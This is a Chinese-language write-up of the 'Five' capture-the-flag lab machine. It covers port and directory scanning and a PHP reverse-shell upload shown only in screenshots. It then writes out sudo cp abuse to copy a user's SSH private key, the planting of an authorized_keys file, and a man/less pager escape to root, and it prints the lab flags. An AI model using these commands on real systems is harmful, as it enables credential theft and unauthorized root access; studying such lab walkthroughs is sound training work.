hmv[-_-]Five
|
210
|
0
|
CP,penetration test,WEB

652 字
|
13 分钟

Five

image-20240421171829132

image-20240421172522301

信息搜集

端口扫描

rustscan -a 192.168.0.188 -- -A

Open 192.168.0.188:80

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack nginx 1.14.2
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry 
|_/admin

目录扫描

┌──(kali💀kali)-[~/temp/Five]
└─$ gobuster dir -u http://192.168.0.188 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.188
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              jpg,txt,php,zip,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 185] [--> http://192.168.0.188/uploads/]
/admin                (Status: 301) [Size: 185] [--> http://192.168.0.188/admin/]
/upload.php           (Status: 200) [Size: 48]
/robots.txt           (Status: 200) [Size: 17]
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================
┌──(kali💀kali)-[~/temp/Five]
└─$ sudo dirsearch -u http://192.168.0.188 -e* -i 200,300-399 2>/dev/null

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594

Output File: /home/kali/temp/Five/reports/http_192.168.0.188/_24-04-21_05-31-59.txt

Target: http://192.168.0.188/

[05:31:59] Starting: 
[05:32:04] 301 -  185B  - /admin  ->  http://192.168.0.188/admin/
[05:32:05] 200 -    4KB - /admin/
[05:32:05] 200 -    4KB - /admin/index.html
[05:32:35] 200 -   17B  - /robots.txt
[05:32:43] 200 -   48B  - /upload.php
[05:32:43] 200 -  346B  - /upload.html
[05:32:43] 301 -  185B  - /uploads  ->  http://192.168.0.188/uploads/

漏洞发现

踩点

image-20240421172819818

http://192.168.0.188/admin/

image-20240421172837916

image-20240421172851505

http://192.168.0.188/robots.txt
Disallow:/admin
http://192.168.0.188/upload.php
Sorry, there was an error uploading your file.
http://192.168.0.188/upload.html

image-20240421173345395

http://192.168.0.188/uploads/

image-20240421173730112

上传反弹shell

尝试上传反弹shell：

image-20240421173807702

尝试激活运行！但是没有传回来，尝试抓包，看看是不是文件类型的锅！

image-20240421174641256

上传到uploads目录的，尝试上传到根目录上去：

image-20240421174721855

试试！

┌──(kali💀kali)-[~/temp/Five]
└─$ curl http://192.168.0.188/reverseShell.php                                                 
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.14.2</center>
</body>
</html>

不行，直接删掉试试：

image-20240421174942607

还是不行，这里我多删掉了一个空白行所以没有识别出来，不要多删就行了！

image-20240421175124455

image-20240421175142263

image-20240421175150926

提权

信息搜集

(remote) www-data@five:/$ sudo -l
Matching Defaults entries for www-data on five:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on five:
    (melisa) NOPASSWD: /bin/cp

https://gtfobins.github.io/gtfobins/cp/#sudo

尝试利用一下：

image-20240421175426669

最后一个不知道行不行，但是好像不太阔以，就算成功了也会破坏环境，先不考虑，继续搜集一下信息：

复制私钥

(remote) www-data@five:/$ cd /home
(remote) www-data@five:/home$ ls -la
total 12
drwxr-xr-x  3 root   root   4096 Oct  5  2020 .
drwxr-xr-x 18 root   root   4096 Oct  5  2020 ..
drwxr-xr-x  4 melisa melisa 4096 Oct  6  2020 melisa
(remote) www-data@five:/home$ cd melisa/
(remote) www-data@five:/home/melisa$ ls -la
total 40
drwxr-xr-x 4 melisa melisa 4096 Oct  6  2020 .
drwxr-xr-x 3 root   root   4096 Oct  5  2020 ..
-rw------- 1 melisa melisa  100 Oct  6  2020 .Xauthority
-rw-r--r-- 1 melisa melisa  220 Oct  5  2020 .bash_logout
-rw-r--r-- 1 melisa melisa 3526 Oct  5  2020 .bashrc
-rw------- 1 melisa melisa   72 Oct  5  2020 .lesshst
drwxr-xr-x 3 melisa melisa 4096 Oct  5  2020 .local
-rw-r--r-- 1 melisa melisa  807 Oct  5  2020 .profile
drwx------ 2 melisa melisa 4096 Oct  6  2020 .ssh
-rw------- 1 melisa melisa   14 Oct  5  2020 user.txt
(remote) www-data@five:/home/melisa$ cd .ssh
bash: cd: .ssh: Permission denied
(remote) www-data@five:/home/melisa$ cd /tmp
(remote) www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
(remote) www-data@five:/tmp$ chmod 600 id_rsa 
chmod: changing permissions of 'id_rsa': Operation not permitted
(remote) www-data@five:/tmp$ ls -la
total 36
drwxrwxrwt  8 root   root   4096 Apr 21 05:56 .
drwxr-xr-x 18 root   root   4096 Oct  5  2020 ..
drwxrwxrwt  2 root   root   4096 Apr 21 05:17 .ICE-unix
drwxrwxrwt  2 root   root   4096 Apr 21 05:17 .Test-unix
drwxrwxrwt  2 root   root   4096 Apr 21 05:17 .X11-unix
drwxrwxrwt  2 root   root   4096 Apr 21 05:17 .XIM-unix
drwxrwxrwt  2 root   root   4096 Apr 21 05:17 .font-unix
-rw-------  1 melisa melisa 1811 Apr 21 05:56 id_rsa
drwx------  3 root   root   4096 Apr 21 05:17 systemd-private-78d8e7134f2f4ec89dc2c5815b640611-systemd-timesyncd.service-dJl3ZN
(remote) www-data@five:/tmp$ rm id_rsa 
rm: remove write-protected regular file 'id_rsa'? y
rm: cannot remove 'id_rsa': Operation not permitted
(remote) www-data@five:/tmp$ touch melisa
(remote) www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/melisa
(remote) www-data@five:/tmp$ ls -la
total 40
drwxrwxrwt  8 root     root     4096 Apr 21 05:57 .
drwxr-xr-x 18 root     root     4096 Oct  5  2020 ..
drwxrwxrwt  2 root     root     4096 Apr 21 05:17 .ICE-unix
drwxrwxrwt  2 root     root     4096 Apr 21 05:17 .Test-unix
drwxrwxrwt  2 root     root     4096 Apr 21 05:17 .X11-unix
drwxrwxrwt  2 root     root     4096 Apr 21 05:17 .XIM-unix
drwxrwxrwt  2 root     root     4096 Apr 21 05:17 .font-unix
-rw-------  1 melisa   melisa   1811 Apr 21 05:56 id_rsa
-rw-rw-rw-  1 www-data www-data 1811 Apr 21 05:57 melisa
drwx------  3 root     root     4096 Apr 21 05:17 systemd-private-78d8e7134f2f4ec89dc2c5815b640611-systemd-timesyncd.service-dJl3ZN
(remote) www-data@five:/tmp$ chmod 600 melisa
(remote) www-data@five:/tmp$ nc 127.0.0.1 22
(UNKNOWN) [127.0.0.1] 22 (ssh) : Connection refused

不可以直接进行复制，因为执行者还是melisa，我们要创建一个我们自己的文件充当容器，然后把目标放进去才行！

查看端口

然后就是发现没开放22端口，查看一下是否开启了ssh服务！

(remote) www-data@five:/tmp$ ss -tnlup
Netid       State        Recv-Q       Send-Q             Local Address:Port               Peer Address:Port                                             
udp         UNCONN       0            0                        0.0.0.0:68                      0.0.0.0:*                                                
tcp         LISTEN       0            128                      0.0.0.0:80                      0.0.0.0:*           users:(("nginx",pid=416,fd=6))       
tcp         LISTEN       0            128                    127.0.0.1:4444                    0.0.0.0:*                                                
tcp         LISTEN       0            128                         [::]:80                         [::]:*           users:(("nginx",pid=416,fd=7))

发现开放了4444端口，尝试连接一下：

(remote) www-data@five:/tmp$ ssh melisa@127.0.0.1 -p 4444 -i melisa 
Could not create directory '/var/www/.ssh'.
The authenticity of host '[127.0.0.1]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
melisa@127.0.0.1's password:

生成默认公钥

说明确实开放了相关端口，但是没有authorized_keys，生成一个cp进去！

(remote) www-data@five:/tmp$ ssh-keygen -y -f melisa > authorized_keys
(remote) www-data@five:/tmp$ sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys
(remote) www-data@five:/tmp$ ssh melisa@127.0.0.1 -p 4444 -i melisa 
Could not create directory '/var/www/.ssh'.
The authenticity of host '[127.0.0.1]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct  6 03:39:32 2020 from 192.168.1.58
melisa@five:~$

成功登录！

提权至root

先信息搜集

melisa@five:~$ ls -la
total 40
drwxr-xr-x 4 melisa melisa 4096 Oct  6  2020 .
drwxr-xr-x 3 root   root   4096 Oct  5  2020 ..
-rw-r--r-- 1 melisa melisa  220 Oct  5  2020 .bash_logout
-rw-r--r-- 1 melisa melisa 3526 Oct  5  2020 .bashrc
-rw------- 1 melisa melisa   72 Oct  5  2020 .lesshst
drwxr-xr-x 3 melisa melisa 4096 Oct  5  2020 .local
-rw-r--r-- 1 melisa melisa  807 Oct  5  2020 .profile
drwx------ 2 melisa melisa 4096 Oct  6  2020 .ssh
-rw------- 1 melisa melisa   14 Oct  5  2020 user.txt
-rw------- 1 melisa melisa  100 Oct  6  2020 .Xauthority
melisa@five:~$ cat user.txt 
Ilovebinaries
melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User melisa may run the following commands on five:
    (ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear

这么多sudo文件，稳了，都稳了！！

https://gtfobins.github.io/gtfobins/man/#sudo

进行提权：

image-20240421181124703

但是无法输入命令。。。但是再kali中是可以执行的：

image-20240421181402648

根据大佬指点以后知道这是因为分页模式不同，使用less分页将阔以直接执行命令！

melisa@five:~$ sudo /bin/man man -P /bin/less
/bin/man: -P-/bin/less: No such file or directory
/bin/man: -P_/bin/less: No such file or directory
No manual entry for -P
--Man-- next: less(1) [ view (return) | skip (Ctrl-D) | quit (Ctrl-C) ]
!/bin/bash
melisa@five:~$ sudo /bin/man -P /usr/bin/less /bin/man
root@five:/home/melisa# cd /root
root@five:~# ls -la
total 32
drwx------  3 root root 4096 Oct  7  2020 .
drwxr-xr-x 18 root root 4096 Oct  5  2020 ..
-rw-------  1 root root  101 Oct  7  2020 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-------  1 root root   59 Oct  5  2020 .lesshst
drwxr-xr-x  3 root root 4096 Oct  5  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root   14 Oct  5  2020 root.txt
root@five:~# cat root.txt 
WTFGivemefiv

学到了，新姿势！！！！lol！

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